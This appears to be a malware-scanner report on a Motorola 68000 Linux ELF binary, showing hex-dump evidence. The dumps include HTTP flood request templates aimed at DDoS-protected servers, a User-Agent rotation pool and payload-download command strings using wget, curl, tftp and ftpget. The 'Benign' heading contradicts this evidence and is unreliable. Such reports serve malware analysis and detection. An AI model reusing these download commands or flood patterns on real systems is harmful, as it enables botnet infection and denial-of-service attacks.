Benign Download

cb5d1240a10775d6fa9fd98c00a96338943d533723826a7b008a1afc825abf4d.elf

Motorola 68000 Linux socketcall syscall wrapperNative browser User-Agent rotation pool

SHA-256cb5d1240a10775d6fa9fd98c00a96338943d533723826a7b008a1afc825abf4d

Evidence

ARM supervisor-call syscall instruction 0x815a–0x821a

⋯3 more rows
0x818a0008226e000c262e001024092208203c.."n..&...$.". <
0x819a000000ef4e402d40fff8202efff87282....N@-@.. ...r.
0x81aab280641a202efff844802d40fffc61ff..d. [email protected].
⋯7 more rows

Motorola 68000 Linux socketcall syscall wrapper 0xf630–0xf730

⋯3 more rows
0xf660448020798001c028208070ff4ed14e75D. y...( .p.N.Nu
0xf6704e56fff82f02206e000c226e00082408NV../. n.."n..$.
0xf680220970664e402d40fff8202efff87282".pfN@-@.. ...r.
0xf690b280641a202efff844802d40fffc61ff..d. [email protected].
0xf6a0ffff971820aefffc72ff2d41fff8202e.... ...r.-A.. .
0xf6b0fff8242efff44e5e4e754e754e56fff8..$...N^NuNuNV..
0xf6c0222e000870014e402d40fff8202efff8"...p.N@-@.. ...
⋯7 more rows

nginx web server name 0x14608–0x148f8

⋯3 more rows
0x14638000061fffffeba6c4e5e4e7547455400..a....lN^NuGET.
0x1464820485454502f312e310d0a557365722d HTTP/1.1..User-
0x146584167656e743a20000d0a486f73743a20Agent: ...Host: 
⋯7 more rows
0x146d82d4c616e67756167653a20656e2d5553-Language: en-US
0x146e82c656e3b713d302e3500436f6e74656e,en;q=0.5.Conten
0x146f8742d547970653a206170706c69636174t-Type: applicat
0x14708696f6e2f782d7777772d666f726d2d75ion/x-www-form-u
0x14718726c656e636f64656400436f6e74656erlencoded.Conten
0x14728742d4c656e6774683a20003b20000d0at-Length: .; ...
0x147380d0a005365727665723a20636c6f7564...Server: cloud
0x14748666c6172652d6e67696e780053657276flare-nginx.Serv
0x1475865723a20444f5361727265737400436fer: DOSarrest.Co
⋯6 more rows
0x147c8504f5354007365745f636f6f6b696500POST.set_cookie.
0x147d827004d6f7a696c6c612f352e30202858'.Mozilla/5.0 (X
0x147e831313b204c696e7578207838365f363411; Linux x86_64
0x147f829204170706c655765624b69742f3533) AppleWebKit/53
0x14808372e333620284b48544d4c2c206c696b7.36 (KHTML, lik
0x1481865204765636b6f29205562756e747520e Gecko) Ubuntu 
0x148284368726f6d69756d2f33372e302e3230Chromium/37.0.20
0x1483836322e3934204368726f6d652f33372e62.94 Chrome/37.
0x14848302e323036322e3934205361666172690.2062.94 Safari
0x148582f3533372e3336004d6f7a696c6c612f/537.36.Mozilla/
0x14868352e30202857696e646f7773204e54205.0 (Windows NT 
0x14878362e313b20574f57363429204170706c6.1; WOW64) Appl
0x14888655765624b69742f3533372e33362028eWebKit/537.36 (
0x148984b48544d4c2c206c696b65204765636bKHTML, like Geck
0x148a86f29204368726f6d652f34352e302e32o) Chrome/45.0.2
0x148b83435342e3835205361666172692f3533454.85 Safari/53
0x148c8372e3336004d6f7a696c6c612f352e307.36.Mozilla/5.0
0x148d8202857696e646f7773204e5420362e31 (Windows NT 6.1
0x148e83b20574f5736343b2054726964656e74; WOW64; Trident
0x148f82f372e303b2072763a31312e3029206c/7.0; rv:11.0) l

Native browser User-Agent rotation pool 0x14bfb–0x14ceb

⋯3 more rows
0x14c2b312e3029206c696b65204765636b6f001.0) like Gecko.
0x14c3b4d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x14c4b646f7773204e5420362e312920417070dows NT 6.1) App
0x14c5b6c655765624b69742f3533372e333620leWebKit/537.36 
0x14c6b284b48544d4c2c206c696b6520476563(KHTML, like Gec
0x14c7b6b6f29204368726f6d652f34352e302eko) Chrome/45.0.
⋯7 more rows

TFTP command invocation 0x16566–0x16676

⋯3 more rows
0x16596002f7661722f746d702f002573257300./var/tmp/.%s%s.
0x165a67767657420687474703a2f2f25732f25wget http://%s/%
0x165b6732f2573202d4f202573006375726c20s/%s -O %s.curl 
0x165c62d6f20257320687474703a2f2f25732f-o %s http://%s/
0x165d625732f25730074667470202573202d63%s/%s.tftp %s -c
0x165e620676574202573202573006364202573 get %s %s.cd %s
0x165f62026262074667470202d67202d722025 && tftp -g -r %
0x166067320257300667470676574202d76202ds %s.ftpget -v -
⋯7 more rows